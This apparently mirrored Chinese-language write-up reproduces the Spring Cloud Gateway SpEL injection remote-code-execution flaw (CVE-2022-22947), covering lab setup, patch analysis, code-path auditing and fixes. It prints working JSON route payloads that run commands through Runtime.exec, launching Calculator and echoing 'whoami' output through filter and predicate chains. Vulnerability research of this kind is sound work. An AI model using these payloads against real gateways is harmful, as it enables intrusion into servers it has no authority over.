Share
## https://sploitus.com/exploit?id=2351C71F-EB0C-5CD1-A11A-4267F7CF31CC
## SpringCloud-Gateway命令执行漏洞(CVE-2022-22947)



## 环境搭建

### 方式一:

通过克隆Github上已写好的环境代码。

[Github仓库](https://github.com/Ha0Liu/CVE-2022-22947)

```git
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git
```

![](./Picture2/Git环境搭建.png)

使用IDEA打开我们刚刚下载的代码包,Open ---> 刚下载的文件路径 ---> Open。




### 方式二:

通过自己手动创建工程,搭建环境。

(1)新建工程,配置好后一路next即可;

![](./Picture2/新建项目.png)

(2)分析项目的目录结构:

​			1、.idea文件夹中为InteliJ IDEA的默认配置文件,无其他用途,可根据自己的需求进行删除或保留;

​			2、src文件夹主要为整个工程的代码区域,其中包括java和resource两个文件夹,java是工程中 写java代码的区域,resource是整个工程的配置区域,Spring项目默认在java中添加 SpringApplication方法,此方法为Spring的默认启动方法,resource中默认添加application.properties,此文件为Spring项目的配置文件;

​			3、test文件夹为测试文件夹,可在test中测试方法;

​			4、pom.xml为maven的配置文件,其中包括工程所需要的依赖、配置等等;

​			5、.iml为maven依赖包的配置,也是默认添加的;

​			6、External Libraries文件夹为此工程的所有依赖包。

<img src="./Picture2/项目结构.png" style="zoom: 80%;" />

(3)添加maven依赖到pom.xml文件中([maven仓库](https://mvnrepository.com)中包含所有依赖详情)。

​			1、pom文件中会默认生成部分的xml代码,详情如下:

![](./Picture2/默认pom.png)

​			2、导入项目需要的依赖,其中由于此项目为SpringBoot项目所以需要导入spring-boot-starter依赖作为服务器的启动器,其次由于此漏洞为SpringCloud中Gateway网关的漏洞,风险版本为3.1.1以下的版本,所以此次我们使用3.1.0版本,进行漏洞复现,同时我们需要通过actuator接口进行监听、访问网关,所以这里我们也需要此依赖,具体内容如下:

![](./Picture2/pom依赖.png)

(4)修改Spring的配置文件(路径为src --> main --> resources --> application.properties),详情如下:

​			1、server.port为Spring服务器的启动端口,默认为8080端口,大家可根据自己的情况进行设置;

​			2、management.endpoint.gateway.enabled=true为开启actuator端口检测SpringCloud-Gateway网关,默认为false,因为此漏洞需要对网关的状态进行监听等操作,所以我们需要手动将其更改为true,开启监听;

​			3、management.endpoints.web.exposure.include=gateway为选择服务器的网关为Gateway网关,因为此漏洞就是Gateway网关的漏洞,所以我们在配置文件中声明网关选择Gateway网关。

![](./Picture2/配置文件修改.png)

(5)修改新建项目后自生成的Java类(类名称一般为项目名+Application,路径为src --> main --> java --> com.xxx.xxx --> xxxApplication),详情可见下图:

![](./Picture2/main.png)

(6)启动项目,详情如下图:

![](./Picture2/运行项目.png)

(7)访问http://localhost:9000,如果页面显示与截图一致,则证明环境搭建成功。

![](./Picture2/运行成功截图.png)

## 逆向审计

(1)首先我们看一下官方的修复补丁,differ如下:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e ,官方在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行SPEL表达式。

![](./Picture2/官方补丁.png)

由上图可以看出此次补丁,主要是通过修改SPEL表达式的解析方法,由66行可以看出此if判断语句,可以看出需要SPEL表达式需要以“#{”开始,以“}”结束,此getValue方法功能则为SPEL表达式解析,可以看出此漏洞为SPEL表达式出发的RCE漏洞。

(2)通过control+鼠标左键点击getValue字段,即可向上回溯找到org.springframework.cloud.gateway.support.

ShorycutConfigurable.ShortcutType枚举。

![](./Picture2/枚举详情.png)

<img src="./Picture2/枚举概括.png" style="zoom:150%;" />

通过上文中的default方法可看出,调用枚举中的DEFAULT方法,方法详情如下:

```java
default ShortcutType shortcutType() {
		return ShortcutType.DEFAULT;
	}
```

![DEFAULT方法](./Picture2/DEFAULT方法.jpg)

(3)向上回溯找到org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()。

![](./Picture2/normalizeProperties.png)

这个normalizeProperties()是对filter的属性进行解析,会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

## 正向审计(无回显利用链)

(1)根据文档[https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) 来看,用户可以通过actuator在网关中创建和删除路由,如下图为网关的基本构造。

![](./Picture2/网关构造.png)

(2)在IDEA中可通过actuator的mapping功能找到关于网关的创建、删除等功能接口。

![](./Picture2/网关接口.png)

(3)追踪到RouteDefinition类,发现此类为声明网关的结构内容。

![](./Picture2/RouteDefin.png)

(4)追踪其中的FilterDefinition类,发现Filter中有两个参数分别为“name”和“args”。

<img src="./Picture2/FilterDefinition.png" style="zoom:150%;" />

(5)追踪此name参数,发现在AbstractGatewayControllerEndpoint#save()方法中对name进行过滤,save方法为创建网关的接口,此方法调用两个参数一个是网关的id(可自定义),另一个是RouteDefinition,上文中说明了此对象声明了所创建的网关的结构内容是什么,这也就触发了此漏洞。

![](./Picture2/Filter的name过滤.png)

(6)通过打断点对isAvailable()方法进行动态调试,看看都有哪些name可以通过此过滤。

![](./Picture2/isAva.png)

![](./Picture2/动态调试.png)

可通过如上图中的name进行绕过name校验。

(7)通过上面的分析我们就可以通过指定的“name”参数和由“#{”起始,由“}”结束的SPEL表达式进行RCE攻击了,Payload如下:

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": "可任意更改(不可和之前创建的id相同)",
  "filters": [{
    "name": "👆上面截图中的任意name",
    "args": {
      "name": "可任意更改",
      //此value为弹出计算器的命令(MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

(8)predicates无回显利用链([官网](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)):predicates的SPEL执行流程和filter的执行流程一致,下图为predicates的name校验匹配内容,可通过这些name对其进行命令执行,通过动态调试获取predicates的name校验机制,可根据官网中的example来构造Payload。

![](./Picture2/redicates.png)

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": "可任意更改(不可和之前创建的id相同)",
  "predicates": [{
    "name": "👆上面截图中的任意name",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}
```

## 总结(无回显利用链)

⽆回显链的filters、predicates 链确实存在,且只要 filters和predicates 名字合法绕过限制,就能触发RCE。



## 正向审计(有回显利用链)

(1)回显的原理:⽤户存储的路由定义信息存在内存中,刷新路由 spel 表达式执⾏后,会把执⾏结果写⼊路由信息⾥⾯。 通过查看路由信息 API 接⼝,就在路由信息展示中查看到 RCE 执⾏结果。

(2)通过官网的解释可一看出,对于filters的有回显的利用链中name=“AddResponseHeader”是可以触发有回显的利用链。

```
/**
*对Payload中的SPEL表达式进行讲解
*由于我们这里需要通过表达式进行命令执行所以我们需要通过T(java.lang.Runtime).getRuntime().exec()的形式调用执行命令的方法。
*由于在执行命令时需要String类型的字符串将表达式传入,所以需要对表达式进行类型强制转换成String对象。
*由于在传入表达式时需要以字节流的形式传入,所以需要调用T(org.springframework.util.StreamUtils).copyToByteArray()方法。
/
{
  "id": ""可任意更改(不可和之前创建的id相同)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
```

(3)下面我们需要思考除了name=“AddResponseHeader”以外,是不是像无回显链那样对所有的name都可以进行有回显的rce攻击。

(4)我们使用name=“RedirectTo”,复现尝试,看是否可进行回显攻击。

![](./Picture2/RedirectTo-save.png)

![](./Picture2/RedirectTo-Get.png)

发现并不能进行回显,看一下后台的日志信息,发现后台返回空指针异常。

![](./Picture2/RedirectTo-日志.png)

去官网查看是我们输入的args参数与过滤器不符造成的,此过滤器中需要两个参数一个是“status”另一个是“url”,我们通过更改参数,再执行一次。

![](./Picture2/302.png)

![](./Picture2/3022.png)

仍然返回404,但后台报错不是空指针异常了,通过看异常信息,说明 spring-cloud-gateway 是对 url 格式进⾏解析了。 也就是说相应的参数都有类型限制,⽐如 status 必须是 HTTP 状态码(枚举类型)。

![](./Picture2/302日志.png)

我们需要另求突破点,找⼀个参数是 String 类型。

(5)我们去官网中找一下参数是String的过滤器([官网链接](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[)),比如RemoveRequestHeader过滤器只需要传入一个String类型的name字符串,这样我们就可以构造一个SPEL表达式作为name的值。

![](./Picture2/官网.png)

下面我们就可以构造Payload进行尝试,发现可以回显。

![](./Picture2/Remove-save.png)

![](./Picture2/Remove-get.png)

可以看出在Filters的有回显的利用链中,不仅仅对name有过滤,对其中的args参数也有一定的要求,但可以通过构造不同的过滤器对其限制进行绕过。

(6)predicates的有回显利用链中挖掘路线和Filters的挖掘思路一致,通过官网中的参数类型和参数内容进行筛选,找出符合执行SPEL表达式的过滤器,就可以执行有回显的RCE了。

(7)predicates中可通过name=“Cookie”,进行命令执行,通过官网的参数参考进行构造。

![](./Picture2/cookie.png)

构造Payload进行尝试,发现可以回显成功。

![](./Picture2/cookie-save.png)

![](./Picture2/cookie-get.png)

predicates回显链确实存在,不光对 args 参数名称有限制,并且对参数对应的类型也有限制。同时还有对参数完整性也有限制。

## 总结(有回显利用链)

在有回显利用链中,Spring不仅对过滤器的name进行过滤,对args的参数类型、参数个数也有对应的限制,可通过查看官网中的过滤器详情进行判断是否存在可利用链。



## 漏洞复现

1、无回显利用链

(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

![](./Picture2/复现1.png)

(2)刷新网关。

![复现2](./Picture2/复现2.png)

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的test网关,弹出计算器。

![](./Picture2/复现3.png)

(4)删除网关。

![](./Picture2/复现4.png)

2、有回显利用链

(1)首先需要创建一个网关,发送一个POST请求,并构造恶意的Payload。

![](./Picture2/cookie-save.png)

(2)刷新网关。

![复现2](./Picture2/复现2.png)

(3)获取网关信息,发送GET请求,请求刚刚我们创建好的hacktest网关,回显“whoami”成功。

![复现3](./Picture2/cookie-get.png)

(4)删除网关。

![复现4](./Picture2/cookie-delete.png)





## 修复方案

1、临时修复方案:

(1)如果不需要 Actuator端点,可以通过如下配置将其禁用。

```
management.endpoint.gateway.enabled=false
```

(2)如果需要 Actuator 端点,则应使用 Spring Security 对其进行保护。



2、官方升级补丁:

官方已发布安全版本:

```
3.1.X 版本用户及时升级到 3.1.1+

3.0.X 版本用户及时升级到 3.0.7+
```